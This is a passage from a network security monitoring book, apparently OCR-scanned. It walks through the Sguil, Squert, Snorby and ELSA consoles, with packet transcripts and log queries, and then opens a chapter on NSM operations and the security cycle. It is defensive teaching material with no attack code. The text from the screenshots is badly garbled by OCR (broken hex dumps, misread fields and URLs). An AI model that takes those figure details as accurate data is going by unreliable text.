61 63 63 65 70 74 2D 65 6E 63 6F 64 69 6E 67 .accept-encoding
20 67 7A 69 70 OD OA 55 73 65 72 2D 41 67 65 : gzip..User-Age
74 3A 20 4A 4E 4C 50 2F 31 2E 37 2E 30 20 6A nt: JNLP/1.7.0 j
76 61 77 73 2F 31 30 2E 31 33 2E 32 2E 32 30 avaws/10.13.2.20
28 3C 69 6E 74 65 72 6E 61 6C 3E 29 20 4A 61 (<internal>) Ja

61 2F 31 2E 37 2E 30 5F 31 33 0D OA 55 41 2D |va/1.7.0_13..UA-

45 54 20 2F 6A 61 76 61 66 78 2D 63 61 63 68 [GET /javafx-cach J

— |— Search Packet Payload | © Hex © Text [ NoCase

.-.H

Figure 8-8: Pivoting from alert data to a transcript
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Sguil generates a new window called a transcript, as shown in Figure 8-9
(similar to the window that appears after rebuilding a TCP session in
Wireshark). We see a computer with IP address 192.168.2.108 connecting
to a server in the oracle.com domain. This is HTTP traffic, as demonstrated
by the GET request and the HTTP/1.1 reply. The ET POLICY rule for Vulnerable
Java Version noticed that 192.168.2.108 is running an outdated version of
Java, as reported by the User-Agent field and the UA-Java-Version (1.7.0_13).

This data is important for several reasons:

e It’s areconstruction of the full content data saved by Netsniff-ng. This
data was not collected because the IDS detected suspicious or malicious
activity and decided to trigger the capture of full content data. Rather,
we simply used the ET POLICY rule for Vulnerable Java Version alertas a
reason to pivot from alert data to full content data.

e Itshows all of the content for this session—exactly what the source sent
and how the destination replied. This data can be critical when trying
to understand what is happening during an intrusion.

e Although this data appeared in a Sguil Tcl/Tk window, it could just as
easily have automatically gone to Wireshark, as shown in Figure 8-10, or
NM. In fact, you can open Wireshark by right-clicking the Alert ID field
and selecting either option.
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SRCCGET /javafx-cache.jnlp HTTP/1.1
SRC: acce) o
TUser-Agent: JNLP/1.7.0 javaws/10.13.2.20 (<internal>) Java/1.7.0_1

~UA-Java-Version: 1.7.0_13
SRC: Cache-Tomr ot =

SRC: Pragma: no-cache

SRC: Host: dl.javafx.com

SRC: Accept: text/html, image/gif, imagefjpeg, *; g=.2, */*; q=.2
SRC: Connection: keep-alive

SRC: If-Modified-Since: Fri, 01 Feb 2013 21:54:29 GMT

SRC:

SRC.
DS
DST.
DST: Server: GlassFish v3

DST: Expires: Mon, 25 Feb 2013 03:20:43 GMT
DST: Cache-Control: public,max-age=172800 !

HTTP/1.1 304 Not Modified
2 0

DST: Date: Sat, 23 Feb 2013 03:20:42 GMT

DST:
Search Abort Close
Debug Messages
|137.254.16.78 and port 58379 and port 80 and proto 6) or (vian and host 192.168.2.108 and host
37.254.16.78 and port 58379 and port 80 and proto 6)
Receiving raw file from sensor.
i

Figure 8-9: Sguil transcript

% 192.168.2.108:58379_137.254.16.78:80-6.raw [Wireshark 1.6.7] L O ¢
File Edit Wview Go Capture Analyze Statistics Telephony Tools Internals Help
E i | Q &

SrcPort  Destination DstPort Protocol Info

/javafx-cache.jnlp HTTP/1.1

> Frame 4: 408 bytes on wire (3264 bits), 408 bytes captured (3264 bits)
» Ethernet IT, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:h9:27:f1:48)
> Internet Protocol Version 4, Src: 192.168.2.108 (192.168.2.108), Dst: 137.254.16.78 (137.254.16.78)
» Transmission Control Protocol, Src Port: 58379 (58379), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 354
v
>

accept-encoding: gzip\rin

User-Agent: JNLP/1.7.0 javaws/10.13.2.20 (<internal>) Java/1.7.0_13\r\n

UA-Java-Version: 1.7.0_13\r\n

Cache-Control: no-cache\ri\n

Pragma: no-cache\rn

Host: dl.javafx.com\rin

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2\r\n

Connection: keep-alive\rin

If-Modified-Since: Fri, 01 Feb 2013 21:54:29 GMT\r\n
0050 50 2f 31 2e 31 od 6

63 63 65 70 74 2d 6 P/1.1. ERC Sy

(13 6f 64 69 7a 69 R ER - ccing:  szip. .J5
0070 65 72 2d 41 67 65 6e 74 3a 20 4a 4e 4c 50 2f 31  er-Agent : JNLP/1
0080 2e 37 2e 30 20 6a 61 76 61 77 73 2f 31 30 2e 31  .7.0 jav aws/10.1
0090 33 2e 32 2e 32 30 20 28 3c 69 6e 74 65 72 6e 61  3.2.20 ( <interna
f. HTTP Accept Encoding (http.accept_en... - Packets: 7 Displayed: 7 Marked: 0 Load time: 0:00.000 - Profile: Default 4

Figure 8-10: Pivoting to Wireshark from Sguil alert data
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Lvery time Sguil retrieves full content data from the sensor, it saves a copy in the /nsm/

Chapter 8

server_data/<servername>/archive directory. The Sguil client also saves a copy for
local use. For example, the pcap file required to build a transcript might be archived
on the SO server at /nsm/server_data/securityonion/archive/2013-02-24/
sademo-eth1/192.168.2.117:49207_184.51.126.91:80-6.raw. The format of the
filename is SourcelP:SourcePort_DestinationIP:DestinationPort-Protocol.raw.

Sguil’s full content capabilities are powerful for several reasons. First,
they’re easy to use. Analysts who are more familiar with manual retrieval of
network traffic via the command line are usually thrilled to interact with
Sguil on a right-click basis. Also, Sguil, through its Netsniff-ng component,
is always capturing full content data to disk. Whether or not there’s an alert,
Sguil will have the data. The only limitation is the amount of hard drive
space reserved for capture. Wait too long, and the hard drive housekeeping
scripts running on SO will erase older captures to make room for new cap-
tures. This is why Sguil’s ability to keep archived copies of requested tran-
scripts on the server and client is so helpful: SO may delete the original full
content data to make room for new files. As long as an analyst requested a
transcript, the associated full content evidence is preserved in two locations.

Categorizing Alert Data

Sguil was designed as a real-time console for analysts sitting in a CIRT or
a security operations center (SOC). Sguil is not an “alert browser” for pag-
ing through security information. Analysts should not treat Sguil like a log
management platform that passively stores records. Instead, analysts should
monitor the Sguil console and investigate alerts as they appear. They must
decide whether an event is benign, suspicious, or malicious. After making this
decision, the analyst can assign a label to the event conveying that informa-
tion. This process of classification changes the status of the event from RT
(for Real Time) to another code chosen by the user.

To support this workflow, T Incident Categories T
Sguil allows you to categorize Incident Category Definitions
alert data. Select File » Display Category I Unauthorized Root/Admin Access
Incident Categories to sce the ~ |c3tegory Il Unauthorized User Access

R o K Category III Attempted Unauthorized Access
categories built into Sguil by Category IV Successful Denial of Service Attack

faul h n in Fiour 11, Category V Poor Security Practice or Policy Violation
defau £, as show gure 8 Category VI Reconnaissance/Probes/Scans

Highlight any event in Sguil and |category vi1 virus Infection

click the corresponding func-

tion key (F1 for Category I, F2 Figure 8-11: Sguil incident categories

for Category II, and so on) to

classify an alert. For example,

if you find evidence of an intruder achieving root-level access to a system,
pressing F1 will classify the event as an Unauthorized Root/Admin Access
incident. Crucially, the alert will disappear from the real-time display. The event
is still preserved in the database, but from Sguil’s perspective, the event has
been “handled.” To classify an event as being of no consequence, press F8
instead.
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Note that you can classify only alert data—not session data. Analysts
who use Sguil tend to assign their own meanings to the different function
keys, so devise a plan that suits your needs.

Sguil users don’t let alert data pile up in the console. Instead, they work
to clear the screen as efficiently as possible.

The case studies later in this book demonstrate how to apply this NSM
operational model to hunt for intrusions using NSM data. For now, it’s
enough to understand that Sguil provides CIRT members a way to perform
six key functions: viewing aggregated alerts, accessing some metadata and
related data, querying for alert data, querying for session data, pivoting to
full content data, and classifying alert data.

Using Squert

Squert (hitp://www.squertproject.org/) is an open source web interface for
NSM data. Paul Halliday wrote Squert to provide access to the Sguil data-
bases using a web browser.

Paul codes Squert under the GNU General Public License version 3 (https://
github.com/int13h/squert/blob/master/ COPYING/).

As you saw in the previous examples, the Sguil client focuses on pre-
senting key elements of different datatypes as records in rows. Squert adds
features like visualizations and supporting information to events in the
Sguil database. Figure 8-12 shows the Events tab of the Squert page with
the PING TEST alerts selected.

SQuaRT w0 [7) the squentpeoject

€ [ pupt//demosguil.net/sguert/index p

Total Events Total Signatures Total Sources Total Destinations
| [ | [ | [
582 9 70 79
e~ e~ -l
R . I T
KR =] 3 1=me PG TEST wizorzeer 1 1557
alact icmp any any > any amy (meg:"F#G TEST"; reference:url tpols,ietf. crg/Ntmi/rfc?o2; sid:2012072601:) B
ol e
15,
= 5 gEan ey .
¢ .
3 slolelolelelelolvle
0 1T 2T 4T e T e T T e T e T 1 T e T Ie T 1 T ae 1 0 2 22 23
[ —
s ool ([ D D D 50 D (S0 (e (o)
(R pS— o [e—" By
F0I01 12518 141.136.96. 18 e e 1riass e axy B UBTED STATES (1)
W01 LT 173.255.199.157 ' UMTED STATES (1a) . uemiip)
WAIIIOL W4 FLAE 73194 B TRy 6} B UNETID STATES (st}
WLIC20L 1042 W \NITED STATES (us) B TuE ()
NI L Ve 102 LT3 I55. 199,107 S LD STATES (us) R roees woees ()

Figure 8-12: Events tab in Squert 1.0
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The Squert dashboard presents several data visualizations. For example,
the events grouped by minute and hour graph shows spikes and valleys in
counts of alerts created by the Snort or Suricata IDS engines, as shown in
Figure 8-13.

30
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o 11 12

Figure 8-13: Squert visualization of IDS alerts over time

Future versions of Squert should allow analysts to pivot from alert data
to packet details and full content data.

The Squert project expands beyond the key datatypes captured and
integrated by Sguil and its components, but the Snorby project takes that
integration a step further.

Using Snorby
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Snorby (http://www.snorby.org/) is a newer open source web interface for
NSM data.

Dustin Webber codes Snorby under a GNU General Public License version 3
(https://github.com/Snorby/snorby/blob/master/LICENSE).

SO users can access Snorby by pointing a web browser to port 444 TCP
on the SO server. Log in using the email address and password selected
during the SO installation process to see a summary dashboard of data
from the Sguil database, as shown in Figure 8-14. As with Sguil, Snorby
users can classify events using function keys.

Most users find the Snorby interface to be intuitive. For example, click-
ing the High Severity portion of the dashboard takes you to the list of high-
severity alerts (as designated by the IDS engine). Clicking any record in the
list displays additional data for the event in question, as shown in Figure 8-15.

Snorby also supports creating transcripts, thanks to Paul Halliday’s
CapMe program (https://github.com/int13h/capme). To use it, select Packet
Capture Options, and then select Custom. The Packet Capture Builder
window will appear, as shown in Figure 8-16.
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[ Snorky - Dashboard
Ll C | B howert//192.168.2.127 444

Snorby “al skt Swkchy"

Dashboard i More dpoons
LAST 24 TODAY YESTERDAY THISWEEK THIS MONTH THIS GUARTER THIS YEAR TOP 5 SE0S0R

318 95 234 g

- I Aaminies
HGH SEVERTY MEDLIM SEVERTY LOW SEVERITY
] I I I LAST & U
-l - Il._ = TR | S
Sanazes
Event Count vs Time By Sensor R
ANALYST CLASSIFIED EVENTS

Last 24 Hours

BRI CR MHE

Figure 8-14: The initial Snorby screen
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€ 3 C [xpuer/1921682177
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B & 1 sademosmii
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Figure 8-15: Snorby alert detail

NSM Consoles 175

www.it-ebooks.info


http://www.it-ebooks.info/

176

Chapter 8

Packet Capture Builder

Source address (Source Address - Source Por, Protocol:
184.51.126.91 . 80 TCP [~]
Start time (default iz 30 min = e

Destination address (Destination Addrezs : Destination Port 2013|Z| Febuary |Z| 24|Z|_ 11E|:

30[~]
192.168.2.117 - 49207 End time (default iz e event

2013[~] Fehrué}y 5245—12@ 30[~]

Fetch Packet

Figure 8-16: Packet Capture Builder window in Snorby

Click Fetch Packet to open a new window titled capME!, as shown in
Figure 8-17. This window is prepopulated with the fields necessary to retrieve
full content data associated with the particular event. All that remains is to
enter a username and password to authenticate to the SO sensor that stores
the full content data.

€« C' | B ht#ps//192.168.2.127 /capme/7sip=184.51.126.91 &spt=80&dip=192.168.2.117 &d pt=49207 &proto=tcps

capME!

SrcIP/ Port: | 1845112691 / 80
DstIP/ Port: | 1921882117 | 49207
Start Time: 1361705400
End Time: 1361708000

Username: sademo

Password: | i

Sid Source: (7)sancp (@) event

Figure 8-17: CapMe ready to build a transcript
When you’re ready, click Submit, and CapMe will retrieve full content

data from the appropriate sensor, return it to the server, and render it via
the web browser, as shown in Figure 8-18.
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NOTE

&~ C & hibps://192.168.2.127/capme/?sip=184.51.126.91&spt=808&dip=192.168 2.117&dut:49207&ur0t0:tm&stlme:lSElFU5400&?’,‘@

Sensor Name: sademo-ethl

Timestamp: 2013-02-24 12:00:42

Connection ID: CLT

Src IP: 192.168.2.117 (toshiba.tzosecurity.com)

Dst IP: 184.51.126.91 (a184-51-126-91.deploy.akamaitechnologies.com)

Src Port: 49207

Dst port: 80

0S Fingerprint: 192.168.2.117:49207 - Windows XP/2000 (RFC1323+, w+, tstamp-) [GENERIC]
0S5 Fingerprint: Signature: [8192:127:1:52:M1460,N,W2,N,N,5:.:Windows:?]

0S Fingerprint: -» 184.51.126.91:80 (distance 1, link: ethernet/modem)

SRC: HEAD /msdownload/update, software/defu/2013/02/am_dela_patch_1.145.304.0_b892177d9e75ad4a67 cf2aa78da7 cd659alfab71.exe HTTP/1.1

. :cept:Encnd\ng: identity
er-Agent: Microsoft BITS/7.5
: download.windowsupdate.com

DST: HTTP/1.1 200 OK

DST: Content-Type: application/octet-stream

dified: Sat, 23 Feb 2013 22:03:53 GMT
-Ranges: bytes

: ETag: "803ad2a3l1112cel:0"

DST: Server: Microsoft-115/7.5

DST: X-Powered-By: ASP.NET

DST: Content-Length: 433320

DST: Date: Sun, 24 Feb 2013 12:00:42 GMT

DST: Connection: keep-alve

DST: X-CCC: US

DST: X-CID: 2

DST:

DST:

SRC: GET /msdownload/update/software/defu/2013/02/am_deta_patch_1.145.304.0_b@92177d%e75ad4a67cf2aa78da7 cd659alfab71.exe HTTP/1.1

ccept: =/

ccept-Encoding: identity

Unmodified-Since: Sat, 23 Feb 2013 22:03:53 GMT
nge: bytes=0-6323

ser-Agent: Microsoft BITS/7.5

SRC: Host: download.windowsupdate.com

SRC:

DST: HTTP/1.1 206 Partial Content

DST: Content-Type: application/octet-stream
DST: Last-Modified: Sat, 23 Feb 2013 22:03:53 GMT
DST: Accept-Ranges: bytes

DST: ETag: "80aad2aall12cel:0"

DST: Server: Microsoft-1S/7.5

DST: X-Powered-By: ASP.NET

DST: Date: Sun, 24 Feb 2013 12:00:59 GMT
DST: Content-Range: bytes 0-6323/433320
DST: Content-Length: 6324

DST: Connection: keep-alve

DST: X-CCC: US

DST: X-CID: 2

L LV @eneeiasrenrnesnn e s srnennae s 1..L.'This program cannot be run in DOS mode.

Jdata.

Figure 8-18: CapMe returns a transcript.

In this example, we see HTTP traffic, with HEAD and GET requests, fol-
lowed by an HTTP/1.1 status code. It looks as if 192.168.2.117 is retrieving an
update from Microsoft.

Snorby can also offer data to analysts in nontraditional ways, such as via
iPhone apps. For example, the Snorby iPhone app (https://itunes.apple.com/
us/app/snorby/id5705842122mt=8/) offers an innovative way to review Snorby
alerts on the go, as shown in Figure 8-19.

In 2013 Dustin Webber published a cloud-based version of Snorby called Threat
Stack (https://www.threatstack.com/), mentioned in the conclusion. He plans to
continue to support the open source version of Snorby, but the cloud edition contains
many compelling features.
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4:28 PM & & b 4:28 PM
Snorby Snorby Logout

ET POLICY Reserved IP Space

ET SCAN Sipvicious Scan

(portscan) Open Port

Sensor: NIDS

(portscan) Open Port

ET SCAN Sipvicious Scan
= 0/UDP.192.69,94, 169
ET SCAN Sipvicious User-Agent

= Events & Queue %3 Settings = Events & Queue B3 Settings

Figure 8-19: Snorby iPhone app displays suspicious scan alerts.

Using ELSA

Chapter 8

ELSA, the Enterprise Log Search and Archive (hitps://code.google.com/p/
enterprise-log-search-and-archive/), provides a fully asynchronous web-based
query interface that normalizes logs and makes searching billions of them
for arbitrary strings as easy as searching the Web, as stated on the project’s
website.

Martin Holste codes ELSA under a GNU General Public License version 2
(http://enterprise-log-search-and-archive.googlecode.com/svn/trunk/
elsa/LICENSE/).

ELSA relies on Syslog-ng (http://www.balabit.com/network-security/syslog-ng/)
to collect remote log events, stores them in MySQL, and provides search
capabilities using the search server Sphinx (http://sphinxsearch.com/). ELSA
is closely tied to the Bro tool, and many analysts use it to interpret Bro logs.

Because ELSA has been integrated into SO, using it is as easy as point-
ing a web browser to the address and port listening on the SO server, and
then authenticating using the username and password you set for the Sguil
database. ELSA should listen on port 3154 TCP by default and must be
accessed via HTTPS. After authentication, it offers the query window shown
in Figure 8-20.

www.it-ebooks.info


http://www.it-ebooks.info/

(3 8o Blog: ogs % ! og-s [ ELsa x
€« C [ pps//192.168.2.127:3154 :”‘3 =
ELSA~  Admin ~ 1 node(s) with 956427.0 logs indexed and 1.9 million archived|
From [2013-02-22 16:43:10| To [ Adaterm~ | [ Reparton - | [ index~ | 71 Reuse curent tab [ Gid display

Figure 8-20: ELSA query window

To try out a sample query, I set my From time to the beginning of the data
available using the pop-up calendar, and then enter www.testmyids.com in the
query box. I click Submit Query and see the results shown in Figure 8-21.

ELSA~  Admin~ 1 node(s) with 956427.0 logs indexed and 1.9 million archived|
Query \www testmyids.com Submit Query | Help
From [2013-0210 16:43-10| To [ Asatem - | [ Reporton - | | ingex~ | 5] Reuse current tab [ Grid display

www testmyids.com (3) ES

Result Options... v | Field Susmms
hosl l“ ass(2) sreip(1) srcport(3) dstip(?) dstport(2) status_code(1) content_length(1) method(1) site(1) uri(1) referer(1) user_agent(1) proto(1) hostname(1) answer(2)
e 6 To

Records: 3/3974ms ? <<fist < pre ext > last>> [15 [=]
Txmestame ~ Fields
1361111203.875022nImRPPu6Fm||192.168.2.127|57849(217.160.51.31|80[1|GET jwww.testmyids.com|/|-|curl/7.22.0 (x86_64-pc-linux-gnu) libcurli7.22.0 OpenS$5L/1.0.1
Info Sun Feb 17 ib/1.2.3.4 libidn/1.23 librtmp/2.30[39]200{0K]-| -|(empty)|-| |- text/plain]| |-
= 09:26:44 £=127.0.0.1 program=bro_http class=BRO_HTTP srcip=192.168.2.127 srcport=57849 dstip=217.160.51.31 dstport=80 status_code=200 content_length=39 method=GET
site=www.testmyids.com uri=/ referer=: user_ageni=curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zIib/1.2.3.4 libidn/1.23 librtmp/2.3
SunFepq7 | 1361111203.6414121XtWsbegDvX4192.168.2.121|52036[172.16.2.1|53judp|28597|www.testmyids.comi1|C_INTERNET/1/AIO[NOERRORIFIFITIT|0217.160.51.31/86400.000000
Info n;—;s L hosi=127.0.0.1 program=bro_dns class=BRO_DNS sicip=192.168.2.127 srcpori=52036 dsiip=172.16.2.1 dsipori=53 proto=UDP hostname=www testmyids .com
- 21
\nfo Sun Feb 17 1361111203.415781[7Tvs2dyASL5d|192.168.2.127|32824|172.16.2.1|53|ud p|6304|www.testmyids.com|1|C_INTERNET|28|AAAA|-||F|F[T|F[0]|-
| 09:26:54 host=127.0.0.1 program=bro_dns class=BRO_DNS srcip=192.168.2.127 srcpori=32824 dsiip=172.16.2.1 dsipori=53 proto=UDP hostname=) COM answer=-
Records: 3/3974ms 2  <<first <prev 1 next> last>> (15 |z|

Figure 8-21: ELSA search results for www.testmyids.com

Notice the program(2) element in the Field Summary section. This indi-
cates that ELSA identified two sources of data for these results.

Examining the records, we see the entries of program=bro_http and
program=bro_dns. When there are many different sources of data, we can use
this program element to narrow the results. For example, Figure 8-22 shows
what happens when I enter 192.168.2.127 in the query box, and then click
the program element.

ELSA~¥  Admin v 1 node(s) with 956427.0 logs indexed and 1.9 million archive!
Query 192.168.2.127 SubmitQuery | Help
From [2013-02-10 16:43:10| To Add Term = \ | program = \ | Index v | [ Reuse current tab [7] Grid display

192.168.2.127 (30282) | % 2 290) [Grouped by program]

v testmyids.com (3)| % H v testmyids_com (5) [Grouped by program] %

Result Options -‘
Count ~ Value (SaveChatAs..
| B

16261 | bro comn 192.168.2.127 (30290) [Grouped by program]

11849 bro_dns I

1516 bro_hitg ~ [**6342

— program

13,008.8

575 snort
11,382.7
74 bro_ssl
9,756.6:
G atod 8,130.5
2 bro_smip | g,504.4.

4,878.3
3,252.2.

1,626.1

o

“m‘p«‘ ws* ™ 2

Figure 8-22: ELSA results for 192.168.2.127 grouped by program
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You can see that the results are grouped by program, with bro_conn
providing the most results (16,261) and bro_smtp the fewest (2). Clicking
any Count field starts a new query for just those results. For example, click
the snort link to see Snort alerts associated with 192.168.2.127, as shown in
Figure 8-23. (ELSA pulls these Snort alerts from the MySQL database.)

ELSA~ Admin ~ 1 node(s) with 956427.0 logs indexed and 1.9 million ar:mve4
Query |192.168.2.127 +program="snort" Submit Query | Help
Erom [2013-02-10 16:43:10| To Add Term ~ \ \ Report On ~ \ | Index ~ | [F Reuse current tab [ Grid display
www testmyids com (3) % www testmyids com (5) [Grouped by program] % H 192.168.2.127 (30282) X H 192.168.2.127 (30290) [Grouped by program]|_*
progra 0 X
host(1) program(1) class(1) sig_priority(?) proto(1) srcip(1) srcport(11) dstip(7) dstpori(1) sig_sid(?) sig_msg(?) sig, ion(2) interface(1)
Records: 100 /5755648 ms 2 <<first <prev 1 2 34| 5 6| 7| next> last>> |15 E
Txmestamg -~ Fields
[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Qutbound likely related to packag [Classi ion: Not Suspici Traffic] [Priority: 3]
nfo | SatFeb 16 {TCP} 192.168.2.127:57968 -> 91.189.91.15:80
= | 07:30:18 host=127.0.0.1 program=snort class=SNORT sig_priority=3 proto=TCP srcip=192.168.2.427 srcpori=57968 dstip=91.189.91.15 dstpori=80 sig_sid=1:2013504:3
sig_msg=ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management sig_classification=Not Suspicious Traffic interface=
[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Qutbound likely related to Ic i i Not ici Traffic] [Priority: 3]
5 Sat Feb 16 {TCP} 192.168.2.127:57968 -> 91.189.91.15:30
- 07:30:18 host=127.0.0.1 program=snort class=SNORT sig_priority=3 proto=TCP srcip=192.168.2.127 srcport=57968 dstip=91.189.91.15 dstport=80 sig_sid=1:2013504:3
sig_msg=ET POLICY GNU/Linux APT User-Agent Outbound likely related to package sig_classification=Not Suspicious Traffic interface=
[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Outbound likely related to packag [Classi ion: Not Suspici Traffic] [Priority: 3]:
Info Sat Feb 16 {TCP} 192.168.2.127:32879 -> 91.189.88.33:80
= 073018 host=127.0.0.1 program=snort class=SNORT sig_priority=3 proto=TCP srcip=192.168.2 127 srcport=32879 dstip=91.189.88.33 dstport=80 sig_sid=1:2013504:3
sig_msg=ET POLICY GNU/Linux APT User-Agent Outbound likely related to package sig_classification=Not Suspicious Traffic interface=
[1:2013504:3] ET POLICY GNU/Linux APT User-Agent Qutbound likely related to package [Classi ion: Not Suspici Traffic] [Priority: 3]
ofg | SatFeb 16 {TCP} 192.168.2.127:43470 -> 91.189.92.200:80
= | 07:30:18 host=127.0.0.1 program=snort class=SNORT sig_priority=3 proto=TCP srcip=192.168.2.927 srcport=43470 dstip=91.189.92.200 dstport=80 sig_sid=1:2013504:3
sig_msg=ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management sig_classification=Not Suspicious Traffic interface=

Figure 8-23: Some of the Snort alerts in ELSA associated with 192.168.2.127

Clicking bro_conn displays Bro’s connection logs, a form of session data
similar to that of Argus and PRADS, but generated by Bro.

ELSA supports other integrated NSM data as well. For example, to
generate a transcript in Snorby (as we did with CapMe in Figure 8-17), click
the Info link next to any record, click the Plugin drop-down menu, and
choose getPcap, as shown in Figure 8-24.

Log Info x

Summary

Links

http:/{doc.emergingthreats net/binfview/Main/2013504
Plugins

Plugin =

getPcap

ional)

Close

Figure 8-24: Choosing to retrieve full content
data with CapMe in ELSA

This option takes you to the CapMe authentication screen, and you
can enter a username and password to retrieve a transcript for the event in
question.
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ELSA’s ability to manipulate log data makes for some interesting queries.
For example, to query for all HTTP POST events that did not involve servers
in the United States, you could submit the following:

+method:POST -country code:US

Next, group the results by clicking the user_agent element of the Field
Summary. A sample of the results from my lab network is shown in Listing 8-3.

5724 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
2314 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
897 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like
Gecko) Chrome/24.0.1312.57 Safari/s537.17

788 -

599 realms/1.0.2 CFNetwork/548.1.4 Darwin/11.0.0 @

448 Dalvik/1.4.0 (Linux; U; Android 2.3.4; Kindle Fire Build/GINGERBREAD)
231 com.apple.Maps/1.0 iPhone 0S/6.0.1

227 village/1.16.1 CFNetwork/548.1.4 Darwin/11.0.0

129 Shockwave Flash

85 Lost%20World/1.1.0 CFNetwork/548.1.4 Darwin/11.0.0

76  BejBlitz/600 CFNetwork/609 Darwin/13.0.0

68  INPPirateSchool/1.0.6 CFNetwork/548.1.4 Darwin/11.0.0

49  Google Update/1.3.21.135;winhttp;cup

48 PetCat/1.4 CFNetwork/548.1.4 Darwin/11.0.0

36 Mailroom/1.7.5.1 CFNetwork/609.1.4 Darwin/13.0.0

35 Paradise%20Cove/3.8 CFNetwork/548.1.4 Darwin/11.0.0

27 Mozilla/5.0 ZMTransaction/1.0

25  GoogleAnalytics/2.0b3 (iPad; U; CPU iPhone 0S 5.1.1 like Mac 0S X; en-us)
24 TinyPetsies/1.5.3 CFNetwork/548.1.4 Darwin/11.0.0

17 Storm8/iPhone

Listing 8-3: ELSA query results for user agent data

As you can tell from the bolded code, my kids like to play their iPad
and PC games on a segment monitored by this lab sensor! Each game lists
its name as part of the user agent, e.g., realms at @, which helps the identifi-
cation process. Beware malicious code masquerading via fake user agents,
however.

Since ELSA has been integrated into SO only recently, analysts are just
beginning to appreciate its power.

Conclusion

This chapter surveyed the four main open source NSM consoles: Sguil,
Squert, Snorby, and ELSA. These consoles generally do not generate new
NSM data on their own. Rather, they provide an interface to NSM data sup-
plied by other tools. The consoles help analysts review and query for relevant
information, and then pivot to related data in an efficient manner.
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Sguil is the original NSM console, and many consider it to be the refer-
ence NSM platform. Its six main features are the core capabilities analysts
need when doing NSM operations. Sguil lacks some of the flexibility found
in new applications, however. Tools like Squert, Snorby, and ELSA are web-
accessible. Snorby even offers an app for the iOS platform. ELSA incorpo-
rates a much richer set of NSM data, although analysts continue to extend
the capabilities of Sguil to accept data from non-network sources such as
OSSEC.

By getting a sense of the interface and capabilities of each tool, as well
as the primary forms of data they manipulate, you can begin to imagine the
sorts of detection and response operations one can conduct with this rich
data on hand. Choose the tool that best suits your operational needs. In the
next chapter I will outline ways to put NSM to work in your environment by
describing NSM operations.
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NSM OPERATIONS

;\\ l \
\PNORA/ | Analysts need tools to find intruders, but

V% methodology is more important than soft-

ware. Tools collect and interpret data, but

methodology provides the conceptual model.
Analysts must understand how to use tools to achieve
a particular goal, but it’s important to start with a good
operational model, and then select tools to provide
data supporting that model.

Too many security organizations put tools before operations. They think
“we need to buy a log management system” or “I will assign one analyst
to antivirus duty, one to data leakage protection duty,” and so on. A tool-
driven team will not be effective as a mission-driven team. When the mis-
sion is defined by running software, analysts become captive to the features
and limitations of their tools. Analysts who think in terms of what they need
in order to accomplish their mission will seek tools to meet those needs,
and keep looking if their requirements aren’t met. Sometimes they even
decide to build their own tools.
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This chapter provides a foundation for developing an NSM operational
model that will work for your organization. We’ll start with an overview of
the enterprise security cycle.

The Enterprise Security Cycle

Chapter 9

This book advocates NSM as an effective operational model. I define NSM
as the collection, analysis, and escalation of indications and warnings to
detect and respond to intrusions. This approach doesn’t explicitly address
planning activities or trying to resist intrusions. All four phases of the secu-
rity cycle—planning, resistance, detection, and response—are necessary
when protecting an organization from threats. Therefore, the first step in
building an operational model is to describe the relationships among plan-
ning, resistance, detection, and response, as shown in Figure 9-1 (a repro-
duction of Figure 1)t

/ IT mainly responsible, security assists \

Plan Resist
Prepare Filter
Assess Protect

Resolve

Respond

Figure 9-1: Enterprise security cycle

Figure 9-1 shows the relationships among the four core security activi-
ties. Although it depicts a smooth progression from one phase to the next,
in the real world, all four activities occur simultaneously because organiza-
tions often experience different intrusion states at once. I'T and security
teams plan new defenses while existing countermeasures repel some intrud-
ers. While working to detect one set of intruders, CIRTs are responding to
other intruders already in the organization.

1. Elements of this cycle appeared in my 2010 presentation to SANS titled “CIRT-Level
Response to Advanced Persistent Threat” (hitp://computer-forensics.sans.org/summit-archives/
2010/31-bejtlich-cirt-level-response.pdf).
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The Planning Phase

The goal of the planning phase is to position the organization as effectively
as possible to resist intrusions, or to counter weaknesses being exploited

by ongoing intruder activity. In this phase, IT and security teams prepare
and assess the situation. They enable defense and evaluate its effectiveness.
Budgeting, auditing, compliance checks, training, secure software develop-
ment, and similar work occupy this phase. Adversary simulation, penetra-
tion testing, and red teaming are examples of assessment work.

The Red Team Journal defines red teaming as “the practice of viewing a problem
Jrom an adversary or competitor’s perspective” (http://redteamjournal.com/
about/red-teaming-and-alternative-analysis/). In practice, this means engaging
one or more security professionals to conduct offensive operations against an orga-
nization in order to assess security measures. Adversary simulation is a form of red
teaming where the operators seek to emulate the tools, techniques, and procedures of
a selected threat group. Penetration testing is sometimes used as a synonym for red
teaming, although some consider penetration lesting to be a technique used by the red
team to achieve its overall goal.

The Resistance Phase

During the resistance phase, IT and security teams filter and protect.
Automated countermeasures such as firewalls, antivirus, data-leakage pro-
tection, whitelisting, and related technologies designed to stop intruders
before they can gain unauthorized access to a network are parts of this
phase.

Security awareness training and configuration and vulnerability
management are other countermeasures designed to harden the human
and technical environment that also occur during the resistance phase.
Unfortunately, determined intruders eventually find at least one way into
a network, which makes the next two phases of the enterprise security
cycle—detection and response—mandatory.

The Detection and Response Phases

The detection and response phases include three elements of NSM: collect,
analyze, and escalate. A fourth element, resolve, is part of the response
phase, but Figure 9-1 shows this particular element closer to the planning
element of the enterprise security cycle.

The detection and response phases of the enterprise security cycle are
at the heart of NSM, and they are the reason analysts perform collection,
analysis, and escalation to detect and respond to intrusions. Accordingly,
they deserve their own diagram showing how the various elements work
together. Figure 9-2 depicts that relationship, and the following section
explains these elements in more detail.
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DETECTION RESPONSE

Collection Analysis Escalation Resolution
Host data Constituent ¢ | constitvent
4| 10C-centric A | notification Q1 Tesponse
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“ ing” New IOC T -
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Application ) creation T
